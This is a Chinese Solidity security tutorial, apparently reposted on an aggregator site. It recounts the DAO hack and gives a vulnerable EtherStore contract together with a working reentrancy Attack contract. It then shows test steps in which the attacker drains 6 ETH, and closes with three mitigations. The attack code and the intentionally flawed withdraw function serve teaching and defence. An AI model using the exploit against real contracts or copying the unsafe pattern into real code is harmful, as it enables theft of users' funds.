Solidity - 安全 - 重入攻击(Reentrancy)

这篇具有很好参考价值的文章主要介绍了Solidity - 安全 - 重入攻击(Reentrancy)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

The DAO事件

首先简要说明下一个很有名的重入攻击事件,再模拟重入攻击。

The DAO是分布式自治组织,2016年5月正式发布,该项目使用了由德国以太坊创业公司Slock.it编写的开源代码。2016年6月17上午,被攻击的消息开始在社交网站上出现,到6月18日黑客将超过360万个以太币转移到一个child DAO项目中,child DAO项目和The DAO有着一样的结构,当时以太币的价格从20美元降到了13美元。

当时,一个所谓的”递归调用“攻击(现在称为重入攻击)名词随之出现,这种攻击可以被用来消耗一些智能合约账户。

这次的黑客攻击最终导致了以太坊硬分叉,分为ETH和ETC,分叉前的为ETC(以太坊经典),现在使用的ETH为硬分叉后的以太坊。

整个事件可以参考: The DAO攻击历史_x-2010的博客-CSDN博客_dao 攻击

模拟重入攻击

攻击与被攻击合约代码

说明:以下重入攻击代码,在0.8.0以下版本可以成功测试,0.8.0及以上版本未能成功测试,调用攻击函数时被拦截报错。

源码可参见: smartcontract/Security/Reentrancy at main · tracyzhang1998/smartcontract · GitHub

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

//被攻击合约
contract EtherStore {
    //记录余额
    mapping(address => uint256) public balance;

    // 存款,ether转入合约地址,同时更新调用者的balance;
    function deposit() external payable {
        balance[msg.sender] += msg.value;
    }

    // 取款,从合约地址余额向调用者地址取款
    function withdraw(uint256 _amount) external {
        // 验证账户余额是否充足
        require(balance[msg.sender] >= _amount, "The balance is not sufficient.");
        // 取款(从合约地址转入调用者账户)
        (bool result,) = msg.sender.call{value: _amount}("");
        // 验证取款结果 
        require(result, "Failed to withdraw Ether");

        // 更新余额
        balance[msg.sender] -= _amount;
    }

    // 查看合约余额
    function getContractBalance() external view returns(uint256) {
        return address(this).balance;
    }
}

//攻击合约(黑客编写)
contract Attack {
    EtherStore public etherstore;

    constructor(address _etherStoreAddress) public {
        etherstore = EtherStore(_etherStoreAddress);
    }

    //回退函数
    fallback() external payable {
        //判断被攻击合约余额大于等于1 ether,是为了避免死循环,死循环时调用将会失败,达不到目的了
        if (address(etherstore).balance >= 1 ether) {
            //从被攻击合约中取款
            etherstore.withdraw(1 ether);
        } 
    }

    //攻击函数
    function attack() external payable {
        require(msg.value >= 1 ether);

        //向被攻击合约存款
        //etherstore.deposit.value(1 ether)();  //0.6.0版本以前写法
        etherstore.deposit{value: 1 ether}();
        //从被攻击合约中取款
        etherstore.withdraw(1 ether);
    }

    //查看合约余额
    function getContractBalance() external view returns (uint256) {
        return address(this).balance;
    }

    //取出合约余额到外部账户中
    function withdraw() external payable {
        payable(msg.sender).transfer(address(this).balance);
    }

    //查看外部账户余额
    function getExternalBalance() external view returns (uint256) {
        return msg.sender.balance;
    }
}

 攻击函数 attack 被调用后执行流程如下图所示:

以太坊重入攻击,智能合约,以太坊,智能合约 

测试重入攻击

1、测试使用的外部账户

使用三个外部账户

账户1   0x5B38Da6a701c568545dCfcB03FcB875f56beddC4  部署被攻击合约(EtherStore)

账户2  0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2 部署攻击合约(Attack)

账户3  0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db  向被攻击合约(EtherStore)存款

2、部署合约

(1)部署被攻击合约(EtherStore)

使用账户1部署被攻击合约(EtherStore)

以太坊重入攻击,智能合约,以太坊,智能合约

部署完成得到被攻击合约(EtherStore)地址:0xd9145CCE52D386f254917e481eB44e9943F39138

(2)部署攻击合约(Attack)

使用账户2 部署攻击合约(Attack),参数填写被攻击合约(EtherStore)地址,在实际攻击时,参数填写在以太网中的实际合约地址。

以太坊重入攻击,智能合约,以太坊,智能合约

部署完成得到攻击合约(Attack)地址:

0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95

3、测试步骤(攻击获取ETH)

(1)账户3调用被攻击合约(EtherStore)存款函数

  1. 账户3 存款6Ether(调用函数 deposit)
  2. 查看被攻击合约(EtherStore)余额(调用函数 getContractBalance),当前余额为6Ether

以太坊重入攻击,智能合约,以太坊,智能合约

(2)账户2调用攻击合约(Attack)攻击函数

  1. 账户2 调用攻击合约(Attack)中攻击函数(调用函数 attack),攻击函数中调用被攻击合约中的取款函数,此时会执行攻击合约中的回退函数(fallback),fallback将被攻击合约账户余额转入攻击合约账户中
  2. 查看攻击合约(Attack)余额(调用函数 getContractBalance),余额为 7 Ether = 自己存款 1 Ether + 被攻击合约 6 Ether
  3. 查看被攻击合约(EtherStore)余额(调用函数 getContractBalance),此时已为 0 Ether,已被攻击者成功转走

以太坊重入攻击,智能合约,以太坊,智能合约

查看被攻击合约(EtherStore)余额

以太坊重入攻击,智能合约,以太坊,智能合约

说明:

fallback函数是合约中的一个未命名函数,没有参数且没有返回值。

fallback执行条件:

  1. 如果在一个到合约的调用中,没有其他函数与给定的函数标识符匹配时(或没有提供调用数据),fallback函数会被执行;
  2. 当合约收到以太币时,fallback函数会被执行;攻击合约(Attack)中用到了此触发fallback执行条件。

关于fallback函数执行的2种触发方式可参见: Solitidy - fallback 回退函数 - 2种触发执行方式_ling1998的博客-CSDN博客

 (3)攻击者被攻击合约余额转入自己的用户账户

  1. 账户2调用攻击合约(Attack)中取款函数(withdraw),合约账户余额转入账户2用户账户
  2. 查看攻击合约账户余额,已为 0 Ether
  3. 查看攻击者(即账户2)用户账户余额,已成功获取约 6 Ether

以太坊重入攻击,智能合约,以太坊,智能合约

4、测试^0.8.0版本

使用0.8.0测试步骤(2)时,报错,错误信息如下所示:

transact to Attack.attack errored: VM error: revert.

revert
	The transaction has been reverted to the initial state.
Reason provided by the contract: "Failed to withdraw Ether".
Debug the transaction to get more information.

以太坊重入攻击,智能合约,以太坊,智能合约

修改EtherStore合约中的函数withdraw(加粗字体),即一次性将合约地址账户余额全部转入调用者账户,之后账户余额清零,测试成功,但是这样没有再次执行withdraw啊。

    function withdraw(uint256 _amount) external {

        // 验证账户余额是否充足

        require(balance[msg.sender] >= _amount, "The balance is not sufficient.");

        // 取款(将合约地址账户余额全部转入调用者账户)

        (bool result,) = msg.sender.call{value: balance[msg.sender]}("");

        // 验证取款结果

        require(result, "Failed to withdraw Ether");  

        // 更新余额:清零

        balance[msg.sender] = 0;

    }

解决重入攻击方案 

1、被攻击合约(EtherStore)中取款函数先更新余额再取款

调用被攻击合约(EtherStore)中的取款函数,调顺序

        // 更新余额
        balance[msg.sender] -= _amount;
        
        // 取款(从合约地址转入调用者账户)
        (bool result,) = msg.sender.call{value: _amount}("");
        // 验证取款结果 
        require(result, "Failed to withdraw Ether");

展示调整后的取款函数withdraw 

    // 取款,从合约地址余额向调用者地址取款
    function withdraw(uint256 _amount) external {
        // 验证账户余额是否充足
        require(balance[msg.sender] >= _amount, "The balance is not sufficient.");

        // 更新余额
        balance[msg.sender] -= _amount;
        
        // 取款(从合约地址转入调用者账户)
        (bool result,) = msg.sender.call{value: _amount}("");
        // 验证取款结果 
        require(result, "Failed to withdraw Ether");
    }

执行测试第2步调用攻击合约(Attack)中的攻击函数,报错,与在0.8.0版本错误相同,如下图所示

以太坊重入攻击,智能合约,以太坊,智能合约

 2、取款使用transfer代替msg.sender.call

    // 取款,从合约地址余额向调用者地址取款
    function withdraw(uint256 _amount) external {
        // 验证账户余额是否充足
        require(balance[msg.sender] >= _amount, "The balance is not sufficient.");

        /** 删除.call调用 **/
        // // 取款(从合约地址转入调用者账户)
        // (bool result,) = msg.sender.call{value: _amount}("");
        // // 验证取款结果 
        // require(result, "Failed to withdraw Ether");
        
        // 取款(从合约地址转入调用者账户)
        msg.sender.transfer(_amount);

        // 更新余额
        balance[msg.sender] -= _amount;
    }

 执行测试第2步调用攻击合约(Attack)中的攻击函数,报错,如下图所示:

以太坊重入攻击,智能合约,以太坊,智能合约

3、使用重入锁

增加一个状态变量标识是否加锁,若已加锁则不能再调用被攻击函数中的取款方法。

//被攻击合约
contract EtherStore {
    //记录余额
    mapping(address => uint256) public balance;

    //锁
    bool locked;

    //判断是否加锁,若加锁已返回,否则加锁,执行完释放锁
    modifier noLock() {
        require(!locked, "The lock is locked.");
        locked = true;
        _;
        locked = false;
    }

    // 存款,ether转入合约地址,同时更新调用者的balance;
    function deposit() external payable {
        balance[msg.sender] += msg.value;
    }

    // 取款,从合约地址余额向调用者地址取款
    function withdraw(uint256 _amount) noLock external {
        // 验证账户余额是否充足
        require(balance[msg.sender] >= _amount, "The balance is not sufficient.");
        // 取款(从合约地址转入调用者账户)
        (bool result,) = msg.sender.call{value: _amount}("");
        // 验证取款结果 
        require(result, "Failed to withdraw Ether");

        // 更新余额
        balance[msg.sender] -= _amount;
    }

    // 查看合约余额
    function getContractBalance() external view returns(uint256) {
        return address(this).balance;
    }
}

执行测试第2步调用攻击合约(Attack)中的攻击函数,报错,如下图所示: 

以太坊重入攻击,智能合约,以太坊,智能合约文章来源地址https://www.toymoban.com/news/detail-797533.html

到了这里,关于Solidity - 安全 - 重入攻击(Reentrancy)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 以太坊硬分叉后的可重入漏洞攻击

    以太坊君士坦丁堡升级将降低部分 SSTORE 指令的 gas 费用。然而,这次升级也有一个副作用,在 Solidity 语言编写的智能合约中调用 address.transfer()函数或 address.send()函数时存在可重入漏洞。在目前版本的以太坊网络中,这些函数被认为是可重入安全的,但分叉后它们不再是了。

    2024年02月11日
    浏览(28)
  • Solidity智能合约安全指南:预防已知攻击的关键.

    账户类型 创建成本 交易发起 使用场景 作用 外部账户(私钥的所有者控制) 创建账户是免费的 可以自主发起交易 外部所有的账户之间只能进行ETH和代币交易 1、接受、持有和发送ETH 和 token 2、与已部署的智能合约进行交互 合约账户(由代码控制,部署在网络上的智能合约

    2024年02月12日
    浏览(44)
  • 以太坊智能合约语言Solidity - 3 数组

    1字节(Byte) = 8位 (bit), bytes32 = 256位,bytes1 实质上就等于 int8 固定长度的数组一旦被定义就无法再更改,并且长度在一开始就会被显式定义 我们再来创建一个新的文件用来编写代码 字节数组无法进行基本运算,但是可以比较 字节数组还支持其他一些逻辑运算,具体计算结果

    2023年04月08日
    浏览(49)
  • 以太坊智能合约开发(五):Solidity成绩录入智能合约实验

    每个学生分别部署合约Student.sol ,保证只有自己可以修改姓名。老师部署合约StudentScore.sol,用于录入学生成绩,查询学生信息。查询学生信息时,需要调用学生部署的合约Student.sol。 student.sol合约,用于学生对自己信息进行管理。 学生的基本信息作为状态变量: 声明构造函

    2024年02月07日
    浏览(36)
  • 第四章 以太坊智能合约solidity介绍

    Solidity 是一门面向合约的、为实现智能合约而创建的高级编程语言,设计的目的是能在以太坊虚拟机上运行。 本章大概介绍合约的基本信息,合约的组成,语法方面不做过多的介绍,个人建议多阅读官方文档效果更佳,后续的章节会开发ERC20代币合约案例以便于更好的学习智

    2024年02月06日
    浏览(47)
  • 以太坊智能合约开发:Solidity 语言快速入门

    在本文中,我们从一个简单的智能合约样例出发,通过对智能合约源文件结构的剖析与介绍,使大家对Solidity语言有一个初步的认识。最后,我们将该智能合约样例在 Remix 合约编译器中编译、部署,观察其执行结果。 在开始之前,我们先对Solidity有个初步的了解,即Solidity是

    2023年04月09日
    浏览(39)
  • 基于以太坊的智能合约开发Solidity(基础篇)

    参考教程:基于以太坊的智能合约开发教程【Solidity】_哔哩哔哩_bilibili (1)程序编译完成后,需要在虚拟机上运行,将合约部署好后便可执行刚刚编写的函数。(注意, 合约一旦部署,就会永久存在于区块链上,且不可篡改 ,不过可以销毁) (2)执行完成后,可以得到以

    2024年02月04日
    浏览(48)
  • 以太坊智能合约开发:Solidity语言中的映射

    本文我们介绍Solidity语言中的映射,包括映射的基本定义、语法、映射的变量声明和基本读写操作。并且通过两个智能合约例子演示了映射的定义与基本操作。 Solidity中关于映射的一些定义: 映射以键-值对(key = value)的形式存储数据; 键可以是任何内置数据类型,包括字节

    2024年02月05日
    浏览(45)
  • 基于以太坊的智能合约开发Solidity(事件&日志篇)

    (1)事件用于记录在区块链上的特定活动,“emit ValueChanged(newValue);”语句的作用是触发ValueChanged事件(首先需要声明事件)。 ①触发事件后会生成相应日志,上图黄框就是“emit ValueChanged(newValue);”语句产生的日志,其中“form”指的是触发事件的合约账户。 ②事件主要是供

    2024年02月04日
    浏览(33)
  • 以太坊智能合约开发:Solidity语言中的构造函数

    Solidity语言中关于构造函数的定义: 构造函数是使用 constructor 声明的一个可选函数; 构造函数只在合约部署时调用一次,并用于初始化合约的状态变量; 如果没有显式定义的构造函数,则由编译器创建默认构造函数。 构造函数声明语法如下: 其中: ** constructor :

    2024年02月01日
    浏览(45)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包